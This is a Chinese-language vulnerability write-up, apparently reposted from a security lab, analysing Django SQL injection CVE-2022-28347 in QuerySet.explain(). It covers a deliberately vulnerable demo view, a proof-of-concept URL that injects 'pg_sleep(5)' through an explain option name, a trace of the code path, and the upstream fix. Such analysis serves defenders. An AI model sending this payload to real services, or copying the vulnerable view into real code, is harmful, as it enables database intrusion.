社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Django

Django SQL注入漏洞 CVE-2022-28347

合天网安实验室 • 1 年前 • 456 次点击  

漏洞简介

在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain() 中发现了SQL注入问题。这是通过传递一个精心编制的字典(带有字典扩展)作为**options参数来实现的,并将注入负载放置在选项名称中。

影响版本

2.2 =< Django < 2.2.28

3.2 =< Django < 3.2.13

4.0 =< Django < 4.0.4

环境搭建

创建存在 漏洞 Django 版本 3.2.12 项目

创建 startapp Demo 并依次修改文件

安装 postgresql 数据库

settings.py 设置连接数据库为 postgresql 数据库

DATABASES = {
    'default': {
        'ENGINE''django.db.backends.postgresql',
        'NAME''test',
        'USER''postgres',
        'PASSWORD''123456',
        'HOST''127.0.0.1',
        'PORT''5432',
    }
}

urls.py 设定对应路由

from django.contrib import admin
from django.urls import path

from Demo import views

urlpatterns = [
    path('admin/', admin.site.urls),
    path('index/', views.index),
    path('demo/', views.users),
    path('initialize/', views.loadexampledata),
]

models.py

from django.db import models

# Create your models here.
class User(models.Model):
    name = models.CharField(max_length=200)

    def __str__(self):
        return self.name

views.py

import json


from django.http import HttpResponse
from django.shortcuts import render

# Create your views here.
from .models import User



def index(request):
    return HttpResponse('hello world')

def users(request):
    query = request.GET.get('q')
    query = json.loads(query)
    qs = User.objects.get_queryset().explain(**query)
    return HttpResponse(qs)


def loadexampledata(request):
    u = User(name="Admin")
    u.save()
    u = User(name="Staff1")
    u.save()
    u = User(name="Staff12")
    u.save()
    return HttpResponse("ok")

漏洞复现

http://127.0.0.1:8000/demo/?q={"ANALYZE)+select+pg_sleep(5);--+":"aaa"}

发现成功构造使得服务器沉睡

漏洞分析

在进行代码分析之前,我们先了解一个知识点 EXPLAIN

EXPLAIN

EXPLAIN -- 显示一个语句的执行计划

image

EXPLAIN [ ( option [, ...] ) ] statement
EXPLAIN [ ANALYZE ] [ VERBOSE ] statement

option:
    ANALYZE [ boolean ]   执行命令并显示实际运行时间
    VERBOSE [ boolean ]   显示规划树完整的内部表现形式,而不仅是一个摘要
    COSTS [ boolean ]
    BUFFERS [ boolean ]
    TIMING [ boolean ]
    FORMAT { TEXT | XML | JSON | YAML }

statement:
    查询执行计划的 SQL 语句,可以是任何 select、insert、update、delete、values、execute、declare 语句

EXPLAIN ANALYZE不仅会显示查询计划,还会实际运行语句。EXPLAIN ANALYZE会丢掉任何来自SELECT语句的输出,但是该语句中的其他操作会被执行(例如INSERT、UPDATE或者DELETE)。

调试分析

django.db.models.query.QuerySet.explain

django.db.models.sql.query.Query.explain

django.db.models.sql.compiler.SQLCompiler.explain_query

django.db.models.sql.compiler.SQLCompiler.execute_sql

django.db.models.sql.compiler.SQLCompiler.as_sql

在这里会根据所选择的数据库,来调用其相对应的 explain_query_prefix 方法

django.db.backends.postgresql.operations.DatabaseOperations.explain_query_prefix

postgresql 中 重写了 explain_query_prefix 方法将键名拼接到了 SQL 语句中

最后执行的 SQL 语句是

'EXPLAIN (ANALYZE) SELECT PG_SLEEP(5);--  true) SELECT "Demo_user"."id", "Demo_user"."name" FROM "Demo_user"'

漏洞修复

https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402#diff-fbd8a517f5fa1333b9f7273bcd007551cd2fb4b8f6732cd6002ba42411802901

做了一个过滤,发现危险字符就抛出异常

只有字符串在白名单内才会拼接到语句中

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!

靶场实操,戳“阅读原文"

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/155142
 
456 次点击